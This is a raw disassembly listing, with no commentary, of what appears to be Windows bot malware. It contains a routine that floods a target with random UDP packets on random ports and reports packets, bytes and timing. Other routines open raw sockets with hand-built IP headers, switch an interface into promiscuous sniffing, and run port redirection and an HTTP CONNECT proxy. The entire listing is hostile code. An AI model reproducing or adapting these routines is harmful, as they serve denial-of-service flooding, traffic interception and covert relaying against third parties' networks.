loc_42870B:				; CODE XREF: ___:0042853Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428810	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40188E
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_428831
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_428831:				; CODE XREF: sub_428810+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BC7
sub_428810	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428880	proc near		; CODE XREF: sub_40178Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428880
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F11C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_428880	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4288F0	proc near		; CODE XREF: ___:004014F6j sub_40224Dj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_428908
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428908:				; CODE XREF: sub_4288F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4288F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428920	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014CE
sub_428920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428940	proc near		; CODE XREF: sub_401A14j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428940
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40173A
		add	esp, 14h
		test	eax, eax
		jz	short loc_428A0E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_428A0E:				; CODE XREF: sub_428940+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_428940	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428AB0	proc near		; CODE XREF: sub_40173Aj

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_437B30
		push	esi
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428B11
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_428B0A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_428B0A:				; CODE XREF: sub_428AB0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428B11:				; CODE XREF: sub_428AB0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_511AC8
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_428B4D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	near ptr 71AB2B66h
		nop
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B4D:				; CODE XREF: sub_428AB0+77j
		push	esi
		nop
		call	near ptr 71AB2B66h
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_428B6B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B6B:				; CODE XREF: sub_428AB0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_428B7E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_428B7E:				; CODE XREF: sub_428AB0+9Bj
					; sub_428AB0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_428B94
		mov	[esp+28h+arg_FFE4], 1


loc_428B94:				; CODE XREF: sub_428AB0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_428BCE


loc_428BBB:				; CODE XREF: sub_428AB0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_428BBB


loc_428BCE:				; CODE XREF: sub_428AB0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_428C60
		mov	ebp, dword_511C68


loc_428BE6:				; CODE XREF: sub_428AB0+1AEj
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_428C60
		mov	esi, 0Bh


loc_428BF4:				; CODE XREF: sub_428AB0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		nop
		call	near ptr 2820269h
		dec	esi
		jnz	short loc_428BF4
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_428C4B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	near ptr 71AB2B66h
		nop
		mov	[esp+48h+var_36], ax


loc_428C4B:				; CODE XREF: sub_428AB0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_428BE6


loc_428C60:				; CODE XREF: sub_428AB0+12Aj
					; sub_428AB0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_428AB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428CE0	proc near		; CODE XREF: sub_40209Aj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A37
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_428D3D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D3D:				; CODE XREF: sub_428CE0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428D5D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D5D:				; CODE XREF: sub_428CE0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		call	near ptr 71AB2C69h
		nop
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_428CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428DC0	proc near		; CODE XREF: sub_401DB1j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40188E
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_428E27:				; CODE XREF: sub_428DC0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428E4B
		test	cl, cl
		jz	short loc_428E47
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428E4B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428E27


loc_428E47:				; CODE XREF: sub_428DC0+71j
		xor	eax, eax
		jmp	short loc_428E50
; ---------------------------------------------------------------------------


loc_428E4B:				; CODE XREF: sub_428DC0+6Dj
					; sub_428DC0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E50:				; CODE XREF: sub_428DC0+89j
		cmp	eax, ebx
		jnz	short loc_428EA3
		mov	ebp, dword_4D80C7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_428E67
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EAE


loc_428E67:				; CODE XREF: sub_428DC0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		nop
		call	near ptr 71AB50C8h
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		call	near ptr 71AB4FD4h
		nop
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_428EAE
; ---------------------------------------------------------------------------


loc_428EA3:				; CODE XREF: sub_428DC0+92j
		push	edi
		call	sub_40188E
		add	esp, 4
		mov	ebp, eax


loc_428EAE:				; CODE XREF: sub_428DC0+A5j
					; sub_428DC0+E1j
		cmp	ebp, ebx
		jz	short loc_428EB7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EBD


loc_428EB7:				; CODE XREF: sub_428DC0+F0j
		mov	ebp, dword_4D80C7


loc_428EBD:				; CODE XREF: sub_428DC0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_428FFD
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_428FE3
		mov	ebx, dword_511CA4


loc_428F53:				; CODE XREF: sub_428DC0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_428FD3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_428FAE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_428FCB
; ---------------------------------------------------------------------------


loc_428FAE:				; CODE XREF: sub_428DC0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_428FD3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_428FCB:				; CODE XREF: sub_428DC0+1ECj
		call	sub_40209A
		add	esp, 8


loc_428FD3:				; CODE XREF: sub_428DC0+1C0j
					; sub_428DC0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_428F53


loc_428FE3:				; CODE XREF: sub_428DC0+187j
		mov	edx, dword_511A90
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h


loc_428FFD:				; CODE XREF: sub_428DC0+11Dj
					; sub_428DC0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_428DC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4290B0	proc near		; CODE XREF: sub_401898j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4290B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_446EF4
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F12C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4290B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429120	proc near		; CODE XREF: ___:00401096j sub_401C3Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015FF
		test	[esp+4+arg_0], 1
		jz	short loc_429138
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429138:				; CODE XREF: sub_429120+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429120	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429150	proc near		; CODE XREF: sub_4015FFj
		jmp	sub_4017A8
sub_429150	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429170	proc near		; CODE XREF: sub_4015B9j
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_401DB1
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_429170	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429290	proc near		; CODE XREF: sub_401FA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429290	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429350	proc near		; CODE XREF: sub_4017A8j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429350	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429420:				; CODE XREF: ___:00401A23j
					; ___:loc_402086j
		push	esi
		mov	esi, ecx
		call	sub_4017A8
		test	byte ptr [esp+8], 1
		jz	short loc_429438
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429438:				; CODE XREF: ___:0042942Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429450	proc near		; CODE XREF: sub_401893j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401FA0
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_40142E
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43F14C
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015E1
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_429450	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429510:				; CODE XREF: ___:loc_401D3Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43CDC2
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	byte ptr [esp+12h], 0


loc_429548:				; CODE XREF: ___:0042A4D6j
		lea	ecx, [esp+0B8h]
		call	sub_401B4A
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+54A0h], 0
		mov	byte ptr [esp+13h], 0
		call	sub_40142E
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+398h]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+54B0h], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A560
		lea	edx, [esp+394h]
		lea	ecx, [esp+30h]
		push	edx
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+54A4h], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_429600
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A4D0
; ---------------------------------------------------------------------------


loc_429600:				; CODE XREF: ___:004295C4j
		push	offset asc_444600 ; " "
		lea	eax, [esp+234h]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset off_44720C
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 3
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+230h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_4296C5
		push	offset asc_444600 ; " "
		lea	ecx, [esp+21Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		mov	byte ptr [esp+1Fh], 1
		call	sub_4016B8
		lea	edx, [esp+0B8h]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+54A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+218h]
		test	al, al
		setz	bl
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A54F
		push	offset aHttp	; "http"
		lea	ecx, [esp+0BCh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42A54F
		jmp	loc_4298BA
; ---------------------------------------------------------------------------


loc_4296C5:				; CODE XREF: ___:00429647j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24Ch]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 5
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+248h]
